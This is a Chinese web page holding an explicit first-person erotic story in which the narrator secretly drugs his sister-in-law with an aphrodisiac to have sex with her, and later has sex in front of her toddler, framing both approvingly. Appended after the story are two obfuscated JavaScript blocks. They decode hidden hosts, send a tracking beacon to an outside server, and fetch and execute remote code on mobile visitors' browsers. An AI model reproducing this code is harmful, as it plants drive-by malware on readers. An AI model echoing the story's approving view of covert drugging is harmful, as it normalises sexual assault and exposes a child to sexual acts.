图片载入中

我和小姨子的偷情正文 续

特大字】 【大字】 【中字】 【小字

正文

这是一个发生在生活里的真人真事。所以不要让我放啥照片之类的,说实话我怕被人肉,我还不想现在的生活出现变数。

第一次见到小姨子那年,她24岁,第一眼看到她我就觉得老婆对我说的话并不夸张,小姨子确实是一个美女。我的老婆在外面也属于中上之姿了,而小姨子相比更加苗条,个子也要高个5公分,眼睛很大而且相比我的老婆很会化妆打扮自己,艺校毕业出来的气质上就是不一样。唯一可惜的是她已经有了男友,再加上我也不是那种追着美女的人,当时也就没有什么想法。

因为工作的缘故,小姨子和她的男友是在异地居住的,一年也就回来个两三次。而且一般都是她一个人回来的。一般这个时候,我才发现小姨子的追求者是很多的,虽然有男友,但是她还是会联络那些在本地的,接下来便电话不断约会无数了,于是每个晚上都见不到人了。据老婆说,那些都是以前追求她或者暗恋明恋她的,我不禁感慨找个美女当女友,确实也不是那么简单啊,特别像小姨子那样比较开放的,别说她和那些男人夜夜在晚上开房是聊天叙旧。

我和老婆就得在她男友来查岗的时候,绞尽脑汁帮她圆谎。有一次我和小姨子聊起来,我辗转问了她这个问题,她显得挺心安理得,说她的性欲比较高,一般一晚上最好有个3次左右,而她那男友很早就自赎伤了身子,根本满足不了她。

我老婆属于很含蓄的类型,和我交往以前连AV都从来没看过,而小姨子竟然如此牛逼,照她的说法,和男人做除了肛交她接受不了以外,其他的样样来,说得我无比向往。

后来她有了孩子,就结婚了。婚后似乎挺安份,不久生下一个女儿,就在家养养孩子了。我和老婆去探望的时候,她正好在给孩子喂奶。我就趁机正大光明欣赏小姨子的奶子了。说实话以前小姨子苗条归苗条,唯一有个缺点就是奶子比较平,瘦的人正常情况下奶子本来就大不到哪里去。这点就比不过我老婆了,相对我老婆丰满得多。而哺乳期的小姨子只能说是巨乳啊,我没想到B能一下子升级到D的。于是我一边看一边在心里YY,希望我老婆以后更大就好了,后来事实是没能超过小姨子那尺寸。

世事无常,一年后妹夫因为赌博,小姨子出现了家庭危机,没多少时间后,两人就离婚了,于是她恢复单身,把孩子甩给了前夫,回到了家乡。刚好我们家里有一间房间没人住,于是就她住了进来。

就这样姐夫和小姨子的故事开始了。

先得说一下,我老婆的职业是护士,当时我们也还没有孩子,所以当她上班去的时候,我基本上都是和小姨子独处的。刚开始,说实话我是有贼心没贼胆的,这点相信很多有小姨子的人都这样。问题是小姨子的适应能力比我强,没过多久,她就换衣服不关门,上厕所直接脱裤子了。因为台式机放在她的房间,有一次老婆去上班了,我在玩游戏的时候(笔记本虽然也是独显,大型游戏不行),她突然对我说:“姐夫,别把头转过来,我要穿衣服了哦。”我故意转过头去说:“我偏要看,你能咋样?”她看了看我,竟然说:“那随便你咯。”竟然真的一下子把睡衣脱了,露出了上半身。

反而我被她震住了,说:“喂,咋说我也是男人,你就不怕我把你给咋的?”她说:“看看又没什么,你又不是没看到过,你说是吧?”于是反而弄得我无语了,因为说这些话,我看她是脸不红心不跳的。确实一点都没觉得尴尬。她还顺便问我:“姐夫,你看我恢复得怎么样啊?”说实话,她的身材还确实恢复得很好,奶子虽然没喂奶的时候那么大,但是也有C的样子,和我老婆差不多了。除了肚子上留下了一道疤,就看不出她生育过了。

于是日子就一天一天地过去了,这样的片段还常常在发生。据我观察,她还真把我当亲人一样毫不避嫌了。三人睡一张床啦,乃至我和她一床被子的情况都有。偶尔我沾点小便宜,她也只是对我咪咪一笑,搞得我虚火上升却又无可奈何,除非真的把她扑倒了。

后来她还对我老婆说,姐夫真是个稳重的人,姐姐你真有福气,以后我再找老公一定找姐夫这样顾家的。我心想你直接找我好啦,一直三个人生活算了。但是这话在现在这社会也只有心里想想。

慢慢地,我感觉欲火一点点地挤压下来,我自己也不知道哪天会忍不住做出点什么来。为了泻火我偷偷地拿着她换下来的文胸和小内裤自赎,释放完了还赶快把衣物都扔洗衣机里赶快洗完。这样做的后果我反而觉得心头的火苗更加旺盛了,顺便还被她夸奖说做家务真勤快,连小姨子的内衣都帮洗了。我再次无语…终于有一天,我在网上买了传说中的“苍蝇水”,据说很NB,可以让烈女变荡妇等等等等。匿名收货以后,我下定决心这次一定要把小姨子拿下了。

机会说来就来了,这天老婆夜班,要第二天才能回家。于是我又到小姨子的房间里,开着电脑玩游戏,其实心思却都放在怎么让小姨子把圣水喝下去上面了。

十点多的时候,决定性的转机来了。小姨子斗爽了地主,对我说:“姐夫!我饿了,帮我弄点东西吃吧!”我心头狂跳,赶紧答应说好。

于是我到厨房弄了杯牛奶,把传说中无色无味的圣水倒了进去。再找了点面包,煎个蛋切点黄瓜丝做了个三明治,就端给了小姨子。

小姨子顺利地把这顿夜宵吃了下去,我在电脑前紧张地坐等春药发作。过了10多分钟,似乎效果出现了,小姨子的唿吸稍微急促了点。我偷偷地观察她,她穿个睡衣躺在被窝里,笔记本放在腿上,面颊已经开始微微发红。我继续等,可又等了10分钟左右,还是老样子,没什么变化。我一想不行啊,药性如果过去了就没戏啦。于是我装作过去看她在玩什么,近距离地靠到了她身边。这时候我心中灵光一闪,看到了她笔记本后面拖的电源线正在地上盘踞,于是我假装被绊倒,一下子就扑到了她身上。左手还按在了她的右胸上。她一声惊叫,一瞬间我们四目相对。我心念一动,猛地抱住了她,并且亲在了她的嘴上。小姨子轻轻地呻吟:“唔…姐夫,别…”但此时我骑虎难下,肯定是不会就此罢手了。我顺势把手伸进了她的睡衣,握住了她的奶子,我终于摸到小姨子的奶子啦!我一边吸她的口水,一边揉搓着她的奶子挑逗着她的乳头,这下子苍蝇水的效果大概发作了。她开始松开了牙齿,并且反抱住了我。于是我的舌头就进一步侵略了进去,找到了她的小舌开始缠绕。

慢慢地她放松了下来开始回应我,于是我趁机问道:“妹子,怎么样,舒服么?”小姨子此时已经有点意乱情迷了,主动把嘴唇凑上前来,说:“姐夫,抱我…”我开始大力地揉搓起她的乳房,并且把另一只手伸进她的后背开始摩挲。我不停地亲她的脸颊,脖颈,耳垂,并且开始轻咬她的耳垂。

“哦!…”小姨子忍不住发出了一声勾人的呻吟,乳头也开始迅速胀大。

我一把脱去了她的睡衣,一对洁白的玉乳一下子弹了出来,我狠狠地把她扑倒在床上,一脚把她的IBM笔记本踢在了地板上。我一口咬住她的乳头,开始嘬,咬,舔。小姨子抱住了我的头,大声地呻吟:“姐夫,姐夫…”我继续亲她的腰,肚脐,甚至剖腹产的伤疤,此时小姨子已经忍不住不停扭动起来,不得不说165身高,95斤体重的身材确实不错,扭起来像美人蛇一样。我一边往下亲,一边开始褪去她的睡裤和内裤,于是她的最私密处就暴露在了我眼前。我开始仔细观察起来,因为生育过,阴唇相比少女还是显得有些肥大,但是颜色还是很漂亮的粉红色,绝对和黑木耳啊奥利奥啥的搭不上边,此时小豆豆已经探出头来了,而且显得比较湿润了。于是我开始了对她蜜穴的进攻,我先开始舔起她的阴核来,她的体液是淡淡的咸味,还带有一点点的鲜。这时她开始挣扎起来,并且喊道:“姐夫,不要!”我问:“为什么不要?”

她红着脸说:“那里脏…”

我不禁好笑,说:“有什么脏的,以前你老公和你的追求者都没帮你舔过吗?”她说:“嗯,都说我帮他们含,他们嫌脏的。”我无语,现在的人啊,都不知道舔逼之乐了么,于是我说:“有什么脏的,姐夫不觉得,他们不帮你舔姐夫来!”于是我继续埋头开始尝鲜,此时小姨子顺从地让我把她的双腿大大地分了开来,好方便我进一步进攻她的秘处,她口中的呻吟也慢慢地大声了起来,淫水开始缓缓往外流淌。我借势伸出一根手指,开始探入她的阴道。

小姨子扶住了我的头,我一阵紧张,都这样了她难道还要拒绝我?

没想到她羞答答地说:“姐夫,光你帮我弄不公平,我也帮你含吧!”我呆了呆,没想到人生的第一次69式,会和小姨子一起完成。我赶紧脱掉了衣服裤子,转过身子。此时我们终于都赤裸相对了。小姨子握住了我的肉棒,搓了几下,说了句:“姐夫,你的包皮有点长啊。”我说:“是啊,可能里面有点脏,如果你不想舔我也不会勉强你的”当然这时候我心里是无比向往小姨子能帮我口交的。

小姨子笑笑,说:“你都不嫌我那里脏,我怎么会嫌你呢?”于是剥开我的包皮,开始伸出舌头细细舔舐起来。

当小姨子舔完一圈开始把龟头含进她的口中的时候,我不禁一阵舒爽,终于让小姨子帮我做口活了,好爽!于是我也继续埋头于她的双腿之间。手指感受着小姨子肉穴的温度,男根被她的口舌细细地吸、舔、含、轻咬。小姨子的口活比起我老婆,确实强了不是一点半点,因为老婆爱洁,基本上很少帮我弄的,做了也就是相当死板。相比之下小姨子娴熟许多,除了深喉大概各种花样她都能使。

当我伸进两根手指开始摸索她的G点的时候,小姨子一下子绷紧了起来,没想到小姨子的G点比阴核还要敏感得多,这点和我老婆相反。于是我更大力地摩擦那一块凸起的粗糙来。小姨子一下子松开了我的肉棒,大声呻吟:“啊……啊……姐夫…”爱液更是如泉般涌了出来,我翻过身,抱住她并亲上她开始舌吻。当结束这个漫长的热吻,小姨子双目水汪汪地看着我,细声说了句:“姐夫,我要…”我一阵感动,终于到了这步了,这是我梦想已久的画面。

我温柔地把她放在床上,分开了她的双腿,开始缓缓进入她的身体。肉道的温热让我差点忍不住就漏了出来。我赶紧轻轻耸动了几下,做一个适应过程。说实话,小姨子的蜜穴并不算很紧,但也没到那种松松垮垮的地步。淫水比较多,加上温度较热,让肉棒有种遨游在柔软的肉海的感觉。我慢慢地深入,耳边小姨子的呻吟也越来越诱人。不像那种日本女优很假的叫床声,其实真实的呻吟比起那种夸张来却更动人心弦。

我开始对她说起情话:“妹子,你的里面,好舒服。”小姨子用勾人的眼神看着我说:“姐夫,是我的舒服还是姐姐的舒服?”我实话实说:“你姐姐的比你紧,但是你的比你姐姐的舒服。”小姨子奇怪地问:“这是为什么呀,你们男人不是都喜欢紧的么?”我也难以解释,只好说:“哪有只看紧不紧的啊,要紧那插屁眼不就得了。”小姨子羞红了脸,说:“原来姐夫你这么坏啊,我和姐姐的后面都不能给你插的。”我说为什么呀,小姨子不好意思地说:“我们都长痔疮的,而且比较严重。”我汗…我接着不停地耸动,我们一边接吻,爱抚一边缓缓加快抽插的节奏。小姨子慢慢地开始气息变粗起来。她趴在我耳边说:“姐夫,再深一点…”于是我更大力地卖命,把她的双腿分得更开一点好让鸡巴更深入地进入她的身体,在我的卖力耕耘下,小姨子腰部的扭动幅度也越来越大。房间里只听到我们俩肉体相撞那“啪”“啪”的淫靡之声。小姨子的肉道也变得越来越泥泞,我开始冲刺起来。

小姨子抓住我的双手,引导到她的后腰。并且主动把舌头伸进我的口中来。我知道她来了感觉,一边品尝她的唾液,一边更加大力更加深沉地攻击她身体的最深之处。小姨子再也止不住娇喘之声,双颊红得发烫,眼神迷离,我感觉她的肉洞开始变得吸力惊人,于是也加快了进出的频率。

“妹子,我快要来了,要拔出来吗?”我问。

“不要……射…射在里面…”没想到小姨子竟然让我内射,听到这句我无比兴奋,开始疯狂地抽插,小姨子口中的淫声也变得大声起来。在一阵全力的耸动之下,我把阴茎挺进了小姨子阴道的最深处,把精液一阵一阵都射进了小姨子的子宫内。我终于沾污了小姨子的子宫了!小姨子紧紧地搂住我,不停地颤抖,嘴里喘着粗气偶尔冒出几个模煳不清的单词。这次射精量大到我感觉眼前一阵发黑,于是瘫倒到小姨子洁白的乳房上。

良久之后,我开始寻找小姨子的嘴唇,但是我们两个的唿吸频率急促到让我放弃了继续口舌纠缠。当我要起身的时候小姨子抱住我,说:“姐夫,别走,就在我身体里面。”我当然是巴不得不拔出来,其实我幻想让小姨子妊娠,那才叫爽呢。

这时候小姨子可能已经冷静下来了。说:“姐夫,我问你。”我开始有点头皮发硬,只好答道:“你说。”小姨子问:“你是不是给我吃了什么东西?”

果然被她发现了,我只好嘿嘿傻笑。她白了我一眼,吐出一句:“男人果然都不是好东西,我还以为姐夫你是个厚道人呢,没想到也这样。”我只好展开甜蜜攻势:“谁叫你这么漂亮,这么诱人呢,我也不想这样。可是我实在是忍不住喜欢你,才出此下策啊…妹子你能原谅我么?”小姨子轻轻了点了下我的嘴唇,说:“其实我也挺喜欢你啊,姐夫。如果没有姐姐的话,可能我会嫁给你呢!但是我绝对不允许你让姐姐受伤的。所以,我们的事我不会说出去,你也要保密知道么?”我连忙答应,心里想着再好不过了。她又接着说:“姐夫,性爱对我们成年人来说并不是什么十恶不赦的事,我在外面呆久了看得多了也能够接受,可是姐姐不一样,姐姐毕业后就工作了,没有接触过这些东西,你不能伤害她知道么?

不然我饶不了你!”

在感叹她们姐妹情深的情况下,我郑重地答应她绝对不做让她姐姐伤心的事。

虽然我们现在做的事其实已经能让我老婆不能接受,于是我们约定保密。

这时在小姨子体内的肉棒又开始复苏起来,小姨子也红着脸看着我。于是我又开始慢慢地耸动起来。这一夜我和小姨子一共做了三次,平了我这辈子的最高记录。虽然到将近天亮已经筋疲力尽,我还是拖着身子回到了自己的房间睡。

第二天老婆回来的时候,小姨子笑嘻嘻的一点都没有表现出不自然,我顺便惊叹了一下小姨子的性能力果然惊人,一夜的狂欢好像一点事都没有。而我只好对老婆说昨晚失眠了,抱着老婆睡到下午才缓过劲来。

之后的事情自然是我和小姨子有机会就偷偷地温存一下,其实做爱的时候还是比较少,但是抱抱,亲亲确是常常。小姨子至今还没有再婚,但是已经找了第二个男友,据说性能力惊人,一夜最高记录八次。我在旁边听得汗颜。两人现在仍为婚房在努力,希望他们早点组建自己的家吧。

小姨子不工作的时候还是住在我家里,因为是自由职业者,空的时候比较多。

有的时候老婆上班,二妹夫也在工作的时候,我就会和小姨子再偷偷情,可能这辈子我们都是这样甜蜜的战友吧。

自从和小姨子发生关系以来,有挺长的一段日子过去了。在这期间,有机会的时候我就会和小姨子重温旧情,前几日小姨子带着她的女儿回家乡来,就又住在了我的家里,小家伙已经3岁了,相当可爱。

就是有一次差点被她害死了,因为老婆不在的时候小姨子偶尔会喊我老公,小家伙正是爱好模仿的时候,那次老婆,丈母娘都在的情况下,她竟然脱口而出喊我“老公”,当时我和小姨子都呆了。老婆和丈母娘倒是哈哈大笑,说谁教她的呀,小姨子圆谎说她教着玩的。当时出了一阵冷汗,果然心中有鬼是会心虚的啊。

有天我在家休息,老婆又逢夜班,于是家里只剩我和小姨子母女了。我一看机会来了,老婆一走,我就跑去找小姨子,一边揽住她的腰一边摸着她的奶子说:

“妹子,今天晚上我们搞点活动吧,难得你姐姐不在就我们俩。”小姨子这次来还没和我做过,她看了看她女儿对我说:“不行,我女儿在呢,而且我那个快来了。”我正饥渴的时候,怎么都不会轻易放弃啊,于是继续说:“那个快来了,又还没来。你女儿可以等她睡着了再说啊。”于是小姨子有点犹豫有点心动了,可没想到她给我抛出一句话来:“要想那个也可以,我给你出个题,10分钟里你能答上来,我就答应你。”我一听,晕!怎么一下子变有偿服务了,在我讨价还价无效下,我只好答应条约。

于是小姨子出题了:“一辈子都是处女,打一人名。姐夫,计时开始了哟。”晕,这个好像哪里看见过,我一时想不起来。3分钟过去了我还是没头绪,小姨子笑眯眯对我说:“姐夫怎么样呀,你还有7分钟了。”我心念一转,终于计上心来。于是我称好好想想,进了自己的房间,快速拿出手机,用UC上了百度知道。俗话说在家靠父母,出门靠百度。这话死有道理,现在这个社会找讯息那是一定要快。2分钟后我就找到答案了,我一想这猜灯谜也就这样了。

于是我出门说:“妹子我知道啦!”

小姨子含笑期待地看着我说:“姐夫你说答案啊。”我回答:“毕卡索。妹子你越来越色了…”这下小姨子没话说了,只好答应晚上等她女儿睡着了就依了我,哇哈哈。

杯具的是,外甥女这时候相当不合作了,到了晚上十点,竟然还是精力充沛,没有一点想睡的样子。我这个心急啊,幸亏小姨子觉得小孩子不早睡对智力发育不好,把她抓进了被窝强制她睡觉。我看时机快到了,于是赶快跑去洗澡做个人卫生。

匆匆洗完,发现小姨子差不多已经把她女儿哄熟了,还在一下一下拍着安抚她。我顺势窜上床从身后抱住了小姨子,开始享受起怀中这副成熟的女体起来。

伸进小姨子的衣服里从她的腰一直向上摸索,我发现她已经把胸罩去掉了,于是我慢慢攀上了她的乳峰开始享受起那柔软又不失弹性的乳肉。于是她在安抚女儿,我开始爱抚起她来。我一手慢慢揉搓她的乳尖,另一只手从身下摸索她的腰胯之间,并且从后面轻咬起她的耳垂来。

小姨子开始有点反应了,我明显感觉她的乳头慢慢胀大起来,于是我捧住整个乳房开始大力揉搓,在激情开始的时候,用力蹂躏她的乳房是我比较喜欢做的事情,我把她的上衣往上一拉,一对美胸就此暴露在空气之中。小姨子的唿吸也慢慢开始急促起来了。她放开了女儿一只手抱着我的头,开始回吻我。我也顺势吻上了她诱人的红唇,把舌尖探入她口中品尝甜蜜的津液。

一个长吻之后,小姨子轻声对我说:“姐夫,去你房间吧,我女儿在不方便。”我想了下,嘿嘿一笑说:“不行,就在这里做。给我外甥女看看她妈妈是怎么被我搞的。”小姨子白了我一眼,却意外没有反对。只是转过身来继续和我口舌交缠。

于是我翻身而上,开始占据地形开始总攻。小姨子的背挺敏感的,摸的好的话她动情很快,我抱着她的身子开始在她光滑如绸的皮肤上来回挑逗。小姨子也开始反击我,脱掉了我的内衣,含住我的乳头并轻咬起来。爽是爽,可是我有点怕痒,于是我忍耐着继续进攻,把手伸进了小姨子的小内裤里。

只有一点点湿。小姨子果然是久经沙场,没那么容易就被摸出感觉来,我在此怀疑说那些个书中描绘的熟女,一摸就湿的真实度起来。做得多了应该说免疫力强了才对,三下两下就高潮的,那除非真是特殊体质吧。

小姨子这时候也把手伸进我的内裤里,握住我的肉棒开始套弄起来。我一下子感到一阵舒爽,小姨子的小手剥开我的包皮,开始玩弄我的肉菇。既然小姨子开始对我下毒手,于是我也没什么好客气的。我快速褪去她的保暖裤和小内裤,开始直攻重点部位。我翻开她的蜜唇,轻轻用指甲在大小阴唇之间摩擦。小姨子的体质比较怪,一般女人感觉特敏感的小豆豆,她感觉不是太大,所以还是要慢工出细活。

过了一会小姨子的下体开始慢慢潮湿起来了,这时我凑到小姨子耳边说:

“妹子,帮姐夫舔舔吧。”

小姨子秀红了脸,但是还是微微点了头。我坐起身子,小姨子开始趴在我身前含住了我的肉棒。她的口活虽然说大概不是专业的,但是在业余里已经算是相当不错了,在她细心的舔舐下,我的肉棒变得越来越粗壮刚硬。看着小姨子一边揉搓我阴囊,一边吞吐,有这样的美女细心伺候,岂是一个爽字了得。

此时小姨子吐出我的肉棒,继续用手来回套弄,一边看着我说:“姐夫,帮我也弄弄吧。”于是我再次把她压在身下,分开她的大腿,揉搓了几下她的外阴,开始把中指伸进她的体内。

“哦…”小姨子发出一阵呻吟。

其实我知道,她挺喜欢被手指玩弄肉道的。而且她最大的敏感点就在她的G点,只要刺激这里,很快她就会进入状态。

我先用中指在肉道里缓缓进出,时不时地摩擦几下G点,小姨子开始扭动身子,她想要更多的刺激了。当阴道壁慢慢柔软下来的时候,我又把无名指加入了战场开始了总攻。看了很多潮吹的教材,可惜我在实际中运用却从来没有成功过,这时我也毫不留情地由慢到快对小姨子那片粗糙地带进行摩擦按弄,小姨子一下子就亢奋起来,每个女人总有死穴的呀呵呵。阴道的温度和淫水的密度以十分迅捷的速度提高,没过多久小姨子就抓住我的手臂叫停。她双颊绯红地对我说:

“姐夫我要,给我。”

她终于进入状态了。

我看了眼身边熟睡的外甥女,开始握住已经胀到发烫的肉棒,对准小姨子的穴口。使劲一插到底。小姨子口中“呜”了一声,反手抱住了我的腰。这时候我想了想,还是问:“要带套吗?”其实心里是极不愿意的,但是为了安全还是不得不问,毕竟我们的关系只要被戳穿那决定不是小事了。再说还有先例,我和老婆做的时候有一次也是外射的,可是还是怀孕了,所以不带套可不安全啊兄弟们。

小姨子却说:“不用了。”在我疑问的眼神下,她说:“我老公性欲高,买套子的钱都花死了,前段时间我去上了环了。”我一听心中一喜,在小姨子体内的肉棒也随之又胀大了几分。在我的心里,觉得只有无套内射的做爱那才叫真正的做爱,本人是内射至上的。这个情况代表着以后和小姨子做爱都可以直接射到她体内了,爽!二妹夫,我喜欢你!

但是出于关心我不得不问一句:“你们不要孩子了么,你们还是可以生一个的啊。”小姨子慎怪地看着我说:“笨死,要孩子的时候可以拿掉啊。我又不是节育了。”也是,一下子太开心了,我傻了。

我开始在小姨子温暖湿滑的肉道里出入起来。小姨子的阴道,还是一如既往的舒服啊。我一边在她身上耕耘,一边用手玩弄她的乳房,顺便在她耳边说起挑逗的话语。

“妹子,姐夫来吸你的血了噢。”说完我开始咬住她颈部的大动脉来,小姨子的呻吟声开始变大,我一轻一重地啃咬着小姨子雪白性感的脖颈,有几下甚至用力到在上面留下了淡淡的牙印。小姨子激动地双腿盘起,缠住了我的腰。我顺势把肉棒的攻击方向偏到斜下。但是说真的狠狠咬我是不敢的,一是这里比较是比较危险的区域,激情不能拿生命开玩笑吧,二是万一留下明显的齿印,被老婆看见了可就糟了。

在不知不觉中,我们晃动的频率越来越大。我突然发现,我那外甥女竟然不知道在什么时候,已经醒来了。正拿一双天真的大眼睛,看着我和她的妈妈肉体交缠。这下子我下意识地把速度放慢下来。并且对小姨子说:“你女儿醒啦。”小外甥女这时也看着我,喊道:“大姨夫(事实是本地话叫的)。”我只好看看她,再看看小姨子,用眼神问她怎么办。

没想到快感来了的女人比男人还要疯狂,小姨子竟然用嘴封住我的嘴继续扭动起身躯来。

我一想爽啊,在你女儿面前日你,真有点日本片的感觉了。于是我更加大力度开垦。但是因为女儿在身边看着的缘故,小姨子忍住基本上不再发出呻吟声,可惜了。为啥不叫给你女儿听听呢,性教育要从小开始嘛。我无耻了…也许是这种环境特别刺激的缘故,我也很快来了感觉,于是我开始全速在小姨子身体里冲撞,肉体相撞的“啪啪”声也随之而来,小姨子终于忍不住发出轻微的叫床声。看着外甥女纯洁的大眼,小姨子临近高潮那些许扭曲的脸庞,我终于把肉棒送到了阴道的最深出,射出浓稠的精液沾污了小姨子淫荡的子宫。

可能是我们最后太过用力,这时候外甥女开始咧开嘴,哇的一声哭起来。我们俩一下子有点慌乱,顾不得高潮后有点脱力的感觉,我赶紧把外甥女抱过来交给了她的母亲,于是小姨子开始安抚起来。

这时候我一想,外甥女还是相当够意思的,如果在高潮前一刻她给我哭的话,我想接着我也要哭了…过了没多久,外甥女终于又睡着了。而我也不好意思再要求梅开二度,于是就对小姨子示意我还是回去睡了,各亲了一下她们母女,我关上灯走出了房间。

字节数:19268

【完】


上一篇:二爷历险记之凌辱EVA

下一篇:强奸处女学妹


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};